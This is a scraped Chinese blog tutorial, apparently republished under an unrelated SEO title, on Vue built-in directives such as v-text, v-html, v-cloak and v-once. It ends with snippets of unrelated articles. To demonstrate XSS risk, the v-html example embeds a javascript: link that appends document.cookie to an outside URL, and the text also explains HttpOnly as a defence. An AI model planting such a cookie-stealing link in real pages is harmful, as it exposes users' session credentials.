当前位置： 首页 > news >正文

GMOD建设网站开服/长沙seo推广外包

news 文章来源：https://blog.csdn.net/weixin_46713508/article/details/130371936 2025/2/22 16:48:39
GMOD建设网站开服,长沙seo推广外包,网站建设的三个步骤是什么,苏州快速建站模板前言 除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令 1 v-text 给标签插入文本，类似于插值语法 它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加…

前言

除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令

1 v-text

给标签插入文本，类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比v-text更加的灵活，因为插值语法可以作为字符串拼接，但是v-text的值会替换掉整个div里面的值

前面说过，它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的，会以正常文本显示

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script><!-- 在线引入day.js --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> --><!--引入day.js --><script src="../js/dayjs.min.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>'},})</script></html>

v-text总结

  • v-text指令
  • 1 作用：向其所在的节点渲染文本内容

  • 2 与插值语法的区别：v-text会替换掉节点中的内容，但是插值语法不会，它会进行拼接

2 v-html

和v-text作用以及写法类似，区别在于v-html可以帮助我们解析标签

可以发现，使用v-html可以实现标签解析，但是v-text是不行的，这也就是两者的区别

v-html的安全性问题

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

众所周知，cookie在网络上相当于个人身份证，我们在很多网站上都有cookie,这些信息是不能泄露的，不然可能导致很严重的问题，我们就以cookie为例子，验证v-html的安全性问题

右键检查或者F12,选择Application.左侧找到Storage->Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据

首先因为的这个页面没有做登录功能，是没有cookie的，我需要自己仿造，双击即可添加

如图所示，我模拟了一些cookie，我们可以通过命令(document.cookie)查看cookie:

既然知道了这些，那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字，暗箱跳转到百度，并且把本台服务器的cookie作为参数携带进去，注意：这里这是模仿

点击发现跳到了百度，而且携带了我的cookie，这样是很危险的！

但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型，如果勾选上代表只能通过http协议获取，不能通过dom命令获取

比如我全部勾选

通过dom就什么也获取不到了

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击！这不是vue的锅，只是不建议这么使用

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2><!-- v-html进行标签解析 --><div v-html="str"></div><div v-html="getCookieUrl"></div></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>',getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'},})</script></html>

v-html总结

  • v-html指令：
  • 1 作用：与指定节点中渲染包含html结构的内容

  • 2 与插值法与的区别

  •   （1）v-html会替换掉节点的所有的内容，{{XX}}则不会

  •      （2）v-html可以识别html标签(结构)

  •    3 严重注意：v-html有安全性问题

  •   （1）在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

  •   （2） 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上

3 v-cloak

由于这个不太好演示，这里只做说明不演示了

这个属性只有名字，没有值

 <h2 v-cloak>{{name}}</h2>

它一般配合css控制元素隐藏，等页面全部加载完毕之后，会自动删除v-cloak

v-cloak总结

v-cloak指令

1 它只有名字，没有值

2 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会自动删除c-cloak属性

3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题

4 v-once

这个属性和v-cloak一样，也是没值的，只有属性名称

通过案例演示下，让vue保存一个数值n，然后让n展示在页面上

初步测试没问题

接下来新增需求，想再写一个h2标签，展示初始化的n值

随着页面的变化，初始化n的值也进行了变化

v-once显然不符合需求，这时候就需要用到v-once了，再h2标签加入

<h2 v-once>初始化n的值是：{{n}}</h2>

这时候再查看页面，实现需求

  • v-once总结

  • v-once指令：

  • 1 v-once所在节点在初次动态渲染后，就视为静态内容了

  • 2 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

5 v-pre

  • 这个指令可以让vue跳过其所在节点的编译过程，也就是vue不会再解析写了v-pre 的东西了
  •  可利用它跳过一些代码，没有使用指令语法的节点，没有使用插值语法的节点，会更快的进行编译

相关文章：

Vue基本的内置指令

前言 除了常见的v-bind,v-for,v-if,v-on.v-model等&#xff0c;本次学习一些vue提供的其他内置指令 1 v-text 给标签插入文本&#xff0c;类似于插值语法 它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加…...

编程日记 2023/5/29 19:04:10

华为孟晚舟当值首秀：2030年AI算力将增长500倍！

作者 | 范智林 来源 | 华商观察 微信号&#xff1a;HuashangGC 孟晚舟当值首次亮相。 4月19日&#xff0c;华为副董事长、轮值董事长、CFO孟晚舟在华为第20届全球分析师大会上进行演讲&#xff0c;这是她当值华为轮值董事长以来的首次公开亮相。 按照华为内部规定&#xff0c…...

编程日记 2023/5/31 5:22:31

关于python异常的总结

Python异常是在程序执行时发生的错误&#xff0c;可能会导致程序终止运行。 在Python中&#xff0c;异常处理是一种机制&#xff0c;它允许开发人员在程序发生异常时捕获、处理和报告这些异常&#xff0c;以便程序可以继续运行或在出现异常时进行优雅的退出。 在Python中&…...

编程日记 2023/5/3 1:34:18

基于Java+SpringBoot+vue学生学习平台详细设计实现

基于JavaSpringBootvue学生学习平台详细设计实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 文章目…...

编程日记 2023/5/3 1:29:17

【云原生网关】Kong 使用详解

目录 一、前言 二、Kong介绍 三、Kong核心组件 3.1 kong组件介绍 3.1.1 Kong Server 3.1.2 Apache Cassandra/PostgreSQL 3.1.3 Kong dashboard 3.2 传统网关与Kong工作模式对比 四、Kong网关特征与架构 4.1 kong网关特征 4.1.1 可扩展性 4.1.2 模块化 4.1.3 在任…...

编程日记 2023/5/3 1:24:16

浅谈之Java多线程

Java多线程是Java语言中一个非常重要的特性&#xff0c;它允许程序同时执行多个任务。通过多线程&#xff0c;程序可以同时处理多项任务&#xff0c;从而缩短程序的执行时间。另外&#xff0c;多线程也有助于利用多核处理器&#xff0c;更好地发挥计算机硬件的性能。 那我们在…...

编程日记 2023/5/3 1:19:15

【Vue3学习笔记1】一个清单应用帮你入门Vue.js

Vue 目前已经是国内最流⾏的前端框架之⼀&#xff0c;Vue 3 带来的诸多优化更是让前端圈迎来了新的潮流&#xff0c;比如&#xff1a; 基于 Proxy 的全新响应式实现&#xff1b; Composition API <script setup> 组织代码的更优方式&#xff1b; 更有料的 TypeScript 支…...

编程日记 2023/5/3 1:14:14

go破冰之旅·8·go函数基本实践及各种玩法

一次5-10分钟即可搞定&#xff0c;以干货效率的学习方式带你更直观的玩转各种玩法&#xff01; 行文不易&#xff0c;一字一句纯手打创造&#xff0c;倾注了不少精力&#xff0c;感谢支持。 目录 什么是函数&#xff1f;有哪些元素&#xff1f; 函数参数、返回值 小程序&…...

编程日记 2023/5/3 1:09:13

Qt - 从零到壹的 打地鼠 游戏

❤️‍&#x1f525;欢迎收看西北风的blog&#xff0c;好男人就是我&#xff0c;我就是西北风。✨ Gitee 地址 W_A_Mole NTC_jason/cc语言 - 码云 - 开源中国 (gitee.com) 目录 &#x1f7e5;一&#xff1a;创建一个主窗体 &#x1f7e3;二.&#xff1a;添加主窗口背景图片…...

编程日记 2023/5/31 9:03:56

代码自动发布系统

之前是jenkins发现gitlab代码更新了就自动获取直接部署到服务器 现在是jenkins自动获取Code之后打包成镜像上传到仓库然后通知docker去拉取更新的镜像 分析 旧∶ 代码发布环境提前准备&#xff0c;以主机为颗粒度静态 新: 代码发布环境多套&#xff0c;以容器为颗粒度编译 …...

编程日记 2023/5/3 0:59:10

qemu-基础篇(一)——安装

文章目录 env安装查看版本查看支持的开发板查看支持的CPU的型号 env ubuntu 安装 sudo apt-get install qemu sudo apt-get install qemu-system-arm sudo apt-get install qemu-system查看版本 qemu-img -V qemu-system-arm --version qemu-system-aarch64 --version返回结…...

编程日记 2023/5/3 0:54:09

从根本上理解Synchronized的加锁过程

作为一个Java开发&#xff0c;对于Synchronized这个关键字并不会陌生&#xff0c;无论是并发编程&#xff0c;还是与面试官对线&#xff0c;Synchronized可以说是必不可少。 在JDK1.6之前&#xff0c;都认为Synchronized是一个非常笨重的锁&#xff0c;就是在之前的《谈谈Java…...

编程日记 2023/5/3 0:49:07

CANOE入门到精通——CANOE系列教程记录1 第一个仿真工程

本系列以初学者角度记录学习CANOE&#xff0c;以《CANoe开发从入门到精通》参考学习&#xff0c;CANoe16 demo版就可以进行学习 概念 CANoe是一种用于开发、测试和分析汽车电子系统的软件工具。它通过在不同层次上模拟汽车电子系统中的不同部件&#xff0c;如ECU、总线和传感…...

编程日记 2023/5/3 0:44:06

JavaEE——单例模式

文章目录 一、介绍什么是单例模式二、饿汉模式三、懒汉模式四、讨论两种模式的线程安全问题 一、介绍什么是单例模式 在介绍单例模式之前&#xff0c;我们得先明确一个名词设计模式。 所谓设计模式其实不难理解&#xff0c;就是在计算机这个圈子中&#xff0c;呢些大佬们为了…...

编程日记 2023/5/3 0:39:05

关于数据倾斜

1、数据倾斜表现 1.1 hadoop中的数据倾斜表现 有一个多几个Reduce卡住&#xff0c;卡在99.99%&#xff0c;一直不能结束。各种container报错OOM异常的Reducer读写的数据量极大&#xff0c;至少远远超过其它正常的Reducer伴随着数据倾斜&#xff0c;会出现任务被kill等各种诡异…...

编程日记 2023/5/3 0:34:04

Shell第一次作业

要求&#xff1a; 1、判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间。 ​2、判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行&#xff0c;2、通过查看端口的方式判断…...

编程日记 2023/5/3 0:29:03

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…...

编程日记 2023/5/3 0:24:02

泛型编程 之模板（template）

C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 目录 C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 一、概念 二、函数模板 1、语法与使用&#xff1a; 2、函数模板注意事项 3、普通函数与函数模板的区别 4、普通函数与函数模板的调用规…...

编程日记 2023/5/3 0:19:01

用ChatGPT问DotNet的相关问题，发现DotNet工程师的前景还不错

本人最近费了九牛二虎之力注册了一个ChatGPT账号&#xff0c;现在就给大家分享一下&#xff0c;问一下关于.NET的问题&#xff0c;看看ChatGPT的AI功能具体如何&#xff1f; 一、C#跟其它语言比较的优势 回答&#xff1a; C#是一门编程语言&#xff0c;它是为 Microsoft 的 …...

编程日记 2023/5/3 0:14:00

LeetCode_字符串_简单_415.字符串相加

目录 1.题目2.思路3.代码实现&#xff08;Java&#xff09; 1.题目 给定两个字符串形式的非负整数 num1 和num2&#xff0c;计算它们的和并同样以字符串形式返回。 你不能使用任何內建的用于处理大整数的库&#xff08;比如 BigInteger&#xff09;&#xff0c; 也不能直接将…...

编程日记 2023/5/30 4:47:33

Insix:面向真实的生成数据增强，用于Nuclei实例分割

文章目录 InsMix: Towards Realistic Generative Data Augmentation for Nuclei Instance Segmentation摘要本文方法数据增强方法具有形态学约束的前景增强提高鲁棒性的背景扰动 实验结果 InsMix: Towards Realistic Generative Data Augmentation for Nuclei Instance Segment…...

编程日记 2023/5/30 5:00:02

CleanMyMac X4.13.2最新版下载

现在cleanmymac x4.13.2中文版是大家首选的优秀mac清理软件。CleanMyMac集合了多种功能&#xff0c;几乎可以满足用户所有的清洁需求。它不仅包含各种清理功能&#xff0c;还具有卸载、维护、扩展、碎纸机等实用功能&#xff0c;可同时替代多种工具。它可以清理、优化、维护和监…...

编程日记 2023/5/2 23:58:57

机器学习算法原理：详细介绍各种机器学习算法的原理、优缺点和适用场景

目录 引言 二、线性回归 三、逻辑回归 四、支持向量机 五、决策树 六、随机森林 七、K-均值聚类 八、主成分分析&#xff08;PCA&#xff09; 九、K近邻算法 十、朴素贝叶斯分类器 十一、神经网络 十二、AdaBoost 十三、梯度提升树&#xff08;Gradient Boosting T…...

编程日记 2023/5/2 23:53:56

Spring Security 6.0系列【32】授权服务器篇之默认过滤器

有道无术，术尚可求，有术无道，止于术。 本系列Spring Boot 版本 3.0.4 本系列Spring Security 版本 6.0.2 本系列Spring Authorization Server 版本 1.0.2 源码地址：https://gitee.com/pearl-organization/study-spring-security-demo 文章目录 前言1. OAuth2Authorizati…...

编程日记 2023/5/2 23:48:55

.NET中比肩System.Text.Json序列化反序列化组件MessagePack

简介 官方定义&#xff1a;MessagePack是一种高效的二进制序列化格式。它允许您像JSON一样在多个语言之间交换数据。但是它更快并且更小。 MessagePack是一种开源的序列化反序列化组件&#xff0c;可支持JAVA&#xff0c;C#等主流语言。在 C# 中使用 MessagePack&#xff0c…...

编程日记 2023/5/2 23:43:54

Oracle删除列操作：逻辑删除和物理删除

概念 逻辑删除&#xff1a;逻辑删除并不是真正的删除&#xff0c;而是将表中列所对应的状态字段&#xff08;status&#xff09;做修改操作&#xff0c;实际上并未删除目标列数据或恢复这些列占用的磁盘空间。比如0是未删除&#xff0c;1是删除。在逻辑上数据是被删除了&#…...

编程日记 2023/5/2 23:38:53

找出字符串中第一个匹配项的下标、求解方程----2023/5/2

找出字符串中第一个匹配项的下标、求解方程----2023/5/2 给你两个字符串 haystack 和 needle &#xff0c;请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标&#xff08;下标从 0 开始&#xff09;。如果 needle 不是 haystack 的一部分&#xff0c;则返回 -1…...

编程日记 2023/5/29 19:05:59

23：宁以non-member、non-friend替换member函数

想象有个class用来表示网页浏览器。这样的class可能提供的众多函数中&#xff0c;有一些用来清除下载元素高速缓存区、清除访问过的URLs的历史记录、以及移除系统中的所有cookies&#xff1a; class WebBrowser{ public:void clearCache();void clearHistory();void removeCoo…...

编程日记 2023/5/2 23:28:51

Centos7安装Redis

一、安装gcc依赖 由于 redis 是用 C 语言开发&#xff0c;安装之前必先确认是否安装 gcc 环境&#xff08;gcc -v&#xff09;&#xff0c;如果没有安装&#xff0c;执行以下命令进行安装 [rootlocalhost local]# yum install -y gcc 二、下载并解压安装包 [rootlocalhost l…...

编程日记 2023/5/2 23:23:50

Android 项目必备（四十五）--＞2023 年如何构建 Android 应用程序

Android 是什么 Android 是一种基于 Linux 内核并由 Google 开发的开源操作系统。它用于各种设备包括智能手机、平板电脑、电视和智能手表。 目前&#xff0c;Android 是世界上移动设备使用最多的操作系统; 根据 statcounter 的一份最近 12 个月的样本报告;Android 的市场份额…...

编程日记 2023/5/2 23:18:49